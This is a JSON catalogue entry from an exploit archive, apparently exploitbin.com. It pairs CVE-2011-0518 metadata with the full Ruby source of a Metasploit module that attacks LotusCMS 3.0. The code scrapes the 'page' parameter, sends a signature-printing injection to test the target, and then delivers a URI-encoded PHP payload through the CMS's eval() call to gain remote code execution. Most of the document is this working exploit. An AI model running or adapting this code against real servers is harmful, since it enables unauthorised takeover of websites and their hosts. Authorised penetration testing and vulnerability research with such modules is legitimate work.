{"exploit":{"id":"MSF-multi--http--lcms_php_exec","name":"LotusCMS 3.0 eval() Remote Command Execution","description":"This module exploits a vulnerability found in Lotus CMS 3.0's Router() function. This is done by embedding PHP code in the 'page' parameter, which will be passed to a eval call, therefore allowing remote code execution. The module can either automatically pick up a 'page' parameter from the default page, or manually specify one in the URI option. To use the automatic method, please supply the URI with just a directory path, for example: \"/lcms/\". To manually configure one, you may do: \"/lcms/somepath/index.php?page=index\"","cves":["CVE-2011-0518"],"author":"dflah_, sherl0ck_, sinn3r","published":"2011-03-03","platform":"PHP","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/lcms_php_exec.rb","path":"modules/exploits/multi/http/lcms_php_exec.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"lcms_php_exec.rb","vulnerabilities":[{"id":"CVE-2011-0518","state":"PUBLISHED","title":null,"titleSource":null,"description":"Directory traversal vulnerability in core/lib/router.php in LotusCMS Fraise 3.0, when magic_quotes_gpc is disabled, allows remote attackers to include and execute arbitrary local files via the system parameter to index.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-0518","cvss":{"version":"2.0","baseScore":5.1,"severity":"medium","vectorString":"AV:N/AC:H/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2011-0518"},"updatedAt":"2024-08-06T21:58:25.064Z","retrievedAt":"2026-11-26T13:07:26.825Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--lcms_php_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--lcms_php_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--lcms_php_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--lcms_php_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Auxiliary::WmapScanUniqueQuery\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'LotusCMS 3.0 eval() Remote Command Execution',\n        'Description' => %q{\n          This module exploits a vulnerability found in Lotus CMS 3.0's Router()\n          function.  This is done by embedding PHP code in the 'page' parameter,\n          which will be passed to a eval call, therefore allowing remote code execution.\n\n          The module can either automatically pick up a 'page' parameter from the\n          default page, or manually specify one in the URI option.  To use the automatic\n          method, please supply the URI with just a directory path, for example: \"/lcms/\".\n          To manually configure one, you may do: \"/lcms/somepath/index.php?page=index\"\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'dflah_ <dflah_[at]alligatorteam.org>',\n          'sherl0ck_ <sherl0ck_[at]alligatorteam.org>',\n          'sinn3r' # Metasploit-fu\n        ],\n        'References' => [\n          [ 'CVE', '2011-0518' ],\n          [ 'OSVDB', '75095' ],\n          [ 'URL', 'http://web.archive.org/web/20110322161808/http://secunia.com:80/secunia_research/2011-21' ]\n        ],\n        'Payload' => {\n          'Space' => 4000, # only to prevent error HTTP 414 (Request-URI Too Long)\n          'DisableNops' => true,\n          'BadChars' => \"#\",\n          'Keys' => ['php']\n        },\n        'Platform' => [ 'php' ],\n        'Arch' => ARCH_PHP,\n        'Targets' => [[ 'Automatic LotusCMS 3.0', {}]],\n        'Privileged' => false,\n        'DisclosureDate' => '2011-03-03',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('URI', [true, 'URI', '/lcms/'])\n      ]\n    )\n  end\n\n  def target_url\n    uri = normalize_uri(datastore['URI'])\n\n    # Extract two things:\n    # 1. The file path (/index.php), including the base\n    # 2. GET parameters from the GET query\n    uri = uri.scan(/^(\\/.+)\\/(\\w+\\.php)*\\?*(\\w+=.+&*)*$/).flatten\n    base = (uri[0] || \"\") + '/'\n    fname = uri[1] || \"\"\n    query = uri[2] || \"\"\n    params = queryparse(query) rescue \"\"\n\n    # Use the user-supplied query if there's one, if not we'll auto-detect\n    # by regexing a hyper-link\n    if base.empty? or fname.empty? or params.empty?\n      res = send_request_cgi({\n        'method' => 'GET',\n        'uri' => normalize_uri(datastore['URI'])\n      }, 20)\n\n      if res and res.code == 200\n        uri = res.body.scan(/<a.*href=['|\"](\\/*index\\.php)\\?.*(page=\\w+)['|\"].*>/).flatten\n        @uri = base + uri[0]\n        @arg = uri[1]\n        print_status(\"Using found page param: #{@uri}?#{@arg}\")\n      else\n        @uri = \"\"\n        @arg = \"\"\n      end\n    else\n      @uri = base + fname\n      @arg = \"page=#{params['page']}\"\n    end\n  end\n\n  def check\n    target_url\n    if @uri.empty? or @arg.empty?\n      vprint_error(\"Unable to get the page parameter, please reconfigure URI\")\n      return\n    end\n\n    signature = rand_text_alpha(rand(10) + 10)\n    stub = \"${print('#{signature}')};\"\n    sploit = \"');#{stub}#\"\n    response = send_request_cgi(\n      {\n        'method' => 'POST',\n        'uri' => @uri,\n        'data' => @arg + Rex::Text.uri_encode(sploit)\n      }, 20\n    )\n\n    if response and response.body =~ /#{signature}/\n      vprint_status(\"Signature: #{signature}\")\n      return Exploit::CheckCode::Vulnerable('The target is vulnerable')\n    else\n      vprint_error(\"Signature was not detected\")\n      return Exploit::CheckCode::Safe('The target application was not detected')\n    end\n  end\n\n  def exploit\n    return if not check == Exploit::CheckCode::Vulnerable\n\n    begin\n      sploit = \"');#{payload.encoded}#\"\n      print_status(\"Sending exploit ...\")\n      res = send_request_cgi(\n        {\n          'method' => 'POST',\n          'uri' => @uri,\n          'data' => @arg + Rex::Text.uri_encode(sploit)\n        }, 20\n      )\n      handler\n    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout\n    rescue ::Timeout::Error, ::Errno::EPIPE\n    end\n  end\nend\n","sha256":"b89b6febca54bb7afbea2a69cdef3009573b64e2506a5abf3caef7e4fd9f2122","bytes":4525,"fetchedAt":"2026-11-26T13:07:21.970Z","encoding":"utf-8 (display only; download retains original bytes)"}